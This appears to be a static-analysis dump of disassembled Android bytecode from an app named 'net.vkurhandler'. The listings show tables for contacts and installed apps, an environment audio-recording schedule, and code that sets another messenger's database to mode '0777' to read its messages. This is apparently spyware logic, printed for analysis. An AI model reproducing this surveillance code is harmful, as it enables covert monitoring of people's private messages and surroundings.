                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • create table if not exists
                    • history
                    • (
                    • id
                    • integer primary key autoincrement,
                    • data
                    • text,
                    • data_type
                    • integer,
                    • data_sub_type
                    • temp_location_item_id
                    • extra
                    • location
                    • text
                    • )
                    • apps
                    • package_name
                    • app_name
                    • contacts
                    • (
                    • phone_number
                    • name
                    • text)
                    Position Instruction Meta Information
                    0new-instance v0, Ljava/lang/StringBuilder;
                    2const-string v1, "create table if not exists "
                    4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    6const-string v1, "history"
                    8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    9move-result-object v0
                    11const-string v1, " ( "
                    13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    14move-result-object v0
                    16const-string v1, "id"
                    18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    19move-result-object v0
                    21const-string v1, " integer primary key autoincrement,"
                    23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    24move-result-object v0
                    26const-string v1, "data"
                    28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    29move-result-object v0
                    31const-string v1, " text,"
                    33invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    34move-result-object v0
                    36const-string v1, "data_type"
                    38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    39move-result-object v0
                    41const-string v1, " integer,"
                    43invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    44move-result-object v0
                    46const-string v1, "data_sub_type"
                    48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    49move-result-object v0
                    51const-string v1, " integer,"
                    53invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    54move-result-object v0
                    56const-string v1, "temp_location_item_id"
                    58invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    59move-result-object v0
                    61const-string v1, " text,"
                    63invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    64move-result-object v0
                    66const-string v1, "extra"
                    68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    69move-result-object v0
                    71const-string v1, " text,"
                    73invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    74move-result-object v0
                    76const-string v1, "location"
                    78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    79move-result-object v0
                    81const-string v1, " text"
                    83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    84move-result-object v0
                    86const-string v1, " )"
                    88invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    89move-result-object v0
                    91invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    92move-result-object v0
                    93sput-object v0, Lnet/vkurhandler/an;->a:Ljava/lang/String;
                    94new-instance v0, Ljava/lang/StringBuilder;
                    96const-string v1, "create table if not exists "
                    98invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    100const-string v1, "apps"
                    102invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    103move-result-object v0
                    105const-string v1, " ( "
                    107invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    108move-result-object v0
                    110const-string v1, "package_name"
                    112invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    113move-result-object v0
                    115const-string v1, " text,"
                    117invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    118move-result-object v0
                    120const-string v1, "app_name"
                    122invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    123move-result-object v0
                    125const-string v1, " text"
                    127invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    128move-result-object v0
                    130const-string v1, " )"
                    132invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    133move-result-object v0
                    135invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    136move-result-object v0
                    137sput-object v0, Lnet/vkurhandler/an;->b:Ljava/lang/String;
                    138new-instance v0, Ljava/lang/StringBuilder;
                    140const-string v1, "create table if not exists "
                    142invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    144const-string v1, "contacts"
                    146invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    147move-result-object v0
                    149const-string v1, " ("
                    151invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    152move-result-object v0
                    154const-string v1, "phone_number"
                    156invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    157move-result-object v0
                    159const-string v1, " text,"
                    161invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    162move-result-object v0
                    164const-string v1, "name"
                    166invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    167move-result-object v0
                    169const-string v1, " text)"
                    171invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    172move-result-object v0
                    174invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    175move-result-object v0
                    176sput-object v0, Lnet/vkurhandler/an;->c:Ljava/lang/String;
                    177return-void
                    Cross References
                    APIs
                    • java.lang.Thread.currentThread
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.Thread.getId
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.Thread.getName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.Integer.toHexString
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.util.ArrayList.<init>
                    • java.util.WeakHashMap.isEmpty
                    • java.util.WeakHashMap.keySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.util.ArrayList.size
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.util.ArrayList.isEmpty
                    • java.lang.StringBuilder.append
                    • java.util.ArrayList.iterator
                    • java.util.Iterator.hasNext
                    • java.lang.StringBuilder.toString
                    • android.util.Log.w
                    • java.util.Iterator.next
                    • java.util.ArrayList.add
                    • java.util.Iterator.next
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    Strings
                    • The connection pool for database \'
                    • \' has been unable to grant a connection to thread
                    • (
                    • )
                    • with flags 0x
                    • for
                    • seconds.\n
                    • Connections:
                    • active,
                    • idle,
                    • available.\n
                    • \nRequests in progress:\n
                    • SQLiteConnectionPool
                    • \n
                    Position Instruction Meta Information
                    0const/4 v0, 0x0
                    2invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                    3move-result-object v1
                    4new-instance v3, Ljava/lang/StringBuilder;
                    6invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    8const-string v2, "The connection pool for database \'"
                    10invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    11move-result-object v2
                    13iget-object v4, p0, Lorg/sqlite/database/sqlite/SQLiteConnectionPool;->mConfiguration:Lorg/sqlite/database/sqlite/SQLiteDatabaseConfiguration;
                    15iget-object v4, v4, Lorg/sqlite/database/sqlite/SQLiteDatabaseConfiguration;->label:Ljava/lang/String;
                    17invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    19const-string v2, "\' has been unable to grant a connection to thread "
                    21invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    23invoke-virtual {v1}, Ljava/lang/Thread;->getId()J
                    24move-result-wide v4
                    26invoke-virtual {v3, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    27move-result-object v2
                    29const-string v4, " ("
                    31invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    32move-result-object v2
                    34invoke-virtual {v1}, Ljava/lang/Thread;->getName()Ljava/lang/String;
                    35move-result-object v1
                    37invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    38move-result-object v1
                    40const-string v2, ") "
                    42invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    44const-string v1, "with flags 0x"
                    46invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    47move-result-object v1
                    49invoke-static {p3}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
                    50move-result-object v2
                    52invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    54const-string v1, " for "
                    56invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    57move-result-object v1
                    58long-to-float v2, p1
                    59const v4, 0x3a83126f # 0.001f
                    60mul-float/2addr v2, v4
                    62invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                    63move-result-object v1
                    65const-string v2, " seconds.\n"
                    67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    68new-instance v4, Ljava/util/ArrayList;
                    70invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
                    72iget-object v1, p0, Lorg/sqlite/database/sqlite/SQLiteConnectionPool;->mAcquiredConnections:Ljava/util/WeakHashMap;
                    74invoke-virtual {v1}, Ljava/util/WeakHashMap;->isEmpty()Z
                    75move-result v1
                    76if-nez v1, :cond_f0
                    78iget-object v1, p0, Lorg/sqlite/database/sqlite/SQLiteConnectionPool;->mAcquiredConnections:Ljava/util/WeakHashMap;
                    80invoke-virtual {v1}, Ljava/util/WeakHashMap;->keySet()Ljava/util/Set;
                    81move-result-object v1
                    83invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    84move-result-object v5
                    85move v1, v0
                    86move v2, v0
                    87goto_71:
                    88invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                    89move-result v0
                    90if-nez v0, :cond_c3
                    91goto_77:
                    92iget-object v0, p0, Lorg/sqlite/database/sqlite/SQLiteConnectionPool;->mAvailableNonPrimaryConnections:Ljava/util/ArrayList;
                    94invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                    95move-result v0
                    97iget-object v5, p0, Lorg/sqlite/database/sqlite/SQLiteConnectionPool;->mAvailablePrimaryConnection:Lorg/sqlite/database/sqlite/SQLiteConnection;
                    98if-eqz v5, :cond_83
                    99add-int/lit8 v0, v0, 0x1
                    100cond_83:
                    101const-string v5, "Connections: "
                    103invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    104move-result-object v5
                    106invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    107move-result-object v2
                    109const-string v5, " active, "
                    111invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    113invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    114move-result-object v1
                    116const-string v2, " idle, "
                    118invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    120invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    121move-result-object v0
                    123const-string v1, " available.\n"
                    125invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    127invoke-virtual {v4}, Ljava/util/ArrayList;->isEmpty()Z
                    128move-result v0
                    129if-nez v0, :cond_b9
                    131const-string v0, "\nRequests in progress:\n"
                    133invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    135invoke-virtual {v4}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                    136move-result-object v1
                    137goto_b3:
                    138invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    139move-result v0
                    140if-nez v0, :cond_da
                    141cond_b9:
                    142const-string v0, "SQLiteConnectionPool"
                    144invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    145move-result-object v1
                    147invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                    148return-void
                    149cond_c3:
                    150invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    151move-result-object v0
                    152check-cast v0, Lorg/sqlite/database/sqlite/SQLiteConnection;
                    154invoke-virtual {v0}, Lorg/sqlite/database/sqlite/SQLiteConnection;->describeCurrentOperationUnsafe()Ljava/lang/String;
                    155move-result-object v0
                    156if-eqz v0, :cond_d6
                    158invoke-virtual {v4, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    159add-int/lit8 v0, v2, 0x1
                    160move v2, v0
                    161goto/16 :goto_71
                    162cond_d6: add-int/lit8 v0, v1, 0x1
                    163move v1, v0
                    164goto/16 :goto_71
                    165cond_da:
                    166invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    167move-result-object v0
                    168check-cast v0, Ljava/lang/String;
                    170const-string v2, " "
                    172invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    173move-result-object v2
                    175invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    176move-result-object v0
                    178const-string v2, "\n"
                    180invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    181goto/16 :goto_b3
                    182cond_f0: move v1, v0
                    183move v2, v0
                    184goto/16 :goto_77
                    Cross References
                    APIs
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • android.widget.CheckBox.isChecked
                    • java.lang.String.split
                    • java.lang.String.split
                    • org.json.JSONObject.<init>
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.valueOf
                    • org.json.JSONObject.put
                    Strings
                    • arec_env_schedule_week_
                    • _begin
                    • id
                    • _end
                    • :
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • enabled
                    • AudiorecordEnvironmentScheduleActivity
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1new-instance v1, Lorg/json/JSONObject;
                    3invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                    4move v2, v0
                    5goto_7: const/4 v0, 0x7
                    6if-le v2, v0, :cond_c
                    7move-object v0, v1
                    8goto_b: return-object v0
                    9cond_c:
                    10invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    11move-result-object v0
                    12new-instance v3, Ljava/lang/StringBuilder;
                    14const-string v4, "arec_env_schedule_week_"
                    16invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    18sget-object v4, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    19aget-object v4, v4, v2
                    21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    22move-result-object v3
                    24const-string v4, "_begin"
                    26invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    27move-result-object v3
                    29invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    30move-result-object v3
                    32const-string v4, "id"
                    34invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    35move-result-object v5
                    37invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    38move-result v0
                    40invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    41move-result-object v0
                    42check-cast v0, Landroid/widget/TextView;
                    44invoke-virtual {v0}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    45move-result-object v0
                    47invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    48move-result-object v3
                    50invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    51move-result-object v0
                    52new-instance v4, Ljava/lang/StringBuilder;
                    54const-string v5, "arec_env_schedule_week_"
                    56invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    58sget-object v5, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    59aget-object v5, v5, v2
                    61invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    62move-result-object v4
                    64const-string v5, "_end"
                    66invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    67move-result-object v4
                    69invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    70move-result-object v4
                    72const-string v5, "id"
                    74invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    75move-result-object v6
                    77invoke-virtual {v0, v4, v5, v6}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    78move-result v0
                    80invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    81move-result-object v0
                    82check-cast v0, Landroid/widget/TextView;
                    84invoke-virtual {v0}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    85move-result-object v0
                    87invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    88move-result-object v4
                    90invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    91move-result-object v0
                    92new-instance v5, Ljava/lang/StringBuilder;
                    94const-string v6, "arec_env_schedule_week_"
                    96invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    98sget-object v6, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    99aget-object v6, v6, v2
                    101invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    102move-result-object v5
                    104invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    105move-result-object v5
                    107const-string v6, "id"
                    109invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    110move-result-object v7
                    112invoke-virtual {v0, v5, v6, v7}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    113move-result v0
                    115invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    116move-result-object v0
                    117check-cast v0, Landroid/widget/CheckBox;
                    119invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    120move-result v0
                    122const-string v5, ":"
                    124invoke-virtual {v3, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    125move-result-object v3
                    127const-string v5, ":"
                    129invoke-virtual {v4, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    130move-result-object v4
                    131new-instance v5, Lorg/json/JSONObject;
                    133invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                    135const-string v6, "hour_begin"
                    136const/4 v7, 0x0
                    137aget-object v7, v3, v7
                    139invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    140move-result v7
                    142invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    144const-string v6, "minute_begin"
                    145const/4 v7, 0x1
                    146aget-object v3, v3, v7
                    148invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    149move-result v3
                    151invoke-virtual {v5, v6, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    153const-string v3, "hour_end"
                    154const/4 v6, 0x0
                    155aget-object v6, v4, v6
                    157invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    158move-result v6
                    160invoke-virtual {v5, v3, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    162const-string v3, "minute_end"
                    163const/4 v6, 0x1
                    164aget-object v4, v4, v6
                    166invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    167move-result v4
                    169invoke-virtual {v5, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    171const-string v3, "enabled"
                    173invoke-virtual {v5, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    175invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    176move-result-object v0
                    178invoke-virtual {v1, v0, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    179try_end_ee: add-int/lit8 v0, v2, 0x1
                    180move v2, v0
                    181goto/16 :goto_7
                    182catch_f3: move-exception v0
                    184const-string v1, "AudiorecordEnvironmentScheduleActivity"
                    186invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    187const/4 v0, 0x0
                    188goto/16 :goto_b
                    APIs
                    • net.vkurhandler.dp.l:Ljava/lang/String
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • net.vkurhandler.dp.l:Ljava/lang/String
                    • net.vkurhandler.dp.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dp.l:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dp.m:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dp.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • net.vkurhandler.dp.a
                    • net.vkurhandler.dp.a
                    • net.vkurhandler.dp.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • 0777
                    • messenger_rt_vkkate_last_update
                    • RTVKKate
                    • can read message db copy is
                    • lastUpdate
                    • messages
                    • have_attachments = 0 AND date >
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v2, v0, Lnet/vkurhandler/dp;->c:J
                    3invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(J)V
                    4move-object/from16 v0, p0
                    5iget-boolean v2, v0, Lnet/vkurhandler/dp;->o:Z
                    6if-eqz v2, :cond_13
                    7const/4 v2, 0x0
                    8move-object/from16 v0, p0
                    9iput-boolean v2, v0, Lnet/vkurhandler/dp;->o:Z
                    10cond_12: return-void
                    11cond_13: const/4 v3, 0x0
                    12const/4 v10, 0x0
                    13try_start_15: new-instance v2, Ljava/io/File;
                    15sget-object v4, Lnet/vkurhandler/dp;->l:Ljava/lang/String;
                    17invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    19invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    20move-result v2
                    21if-nez v2, :cond_2a
                    23sget-object v4, Lnet/vkurhandler/dp;->l:Ljava/lang/String;
                    25const-string v5, "0777"
                    26const/4 v6, 0x1
                    28invoke-static {v4, v5, v6}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    29cond_2a: move-object/from16 v0, p0
                    31iget-object v4, v0, Lnet/vkurhandler/dp;->g:Landroid/content/SharedPreferences;
                    33const-string v5, "messenger_rt_vkkate_last_update"
                    35invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    36move-result-wide v6
                    37const-wide/16 v8, 0x3e8
                    38div-long/2addr v6, v8
                    40invoke-interface {v4, v5, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
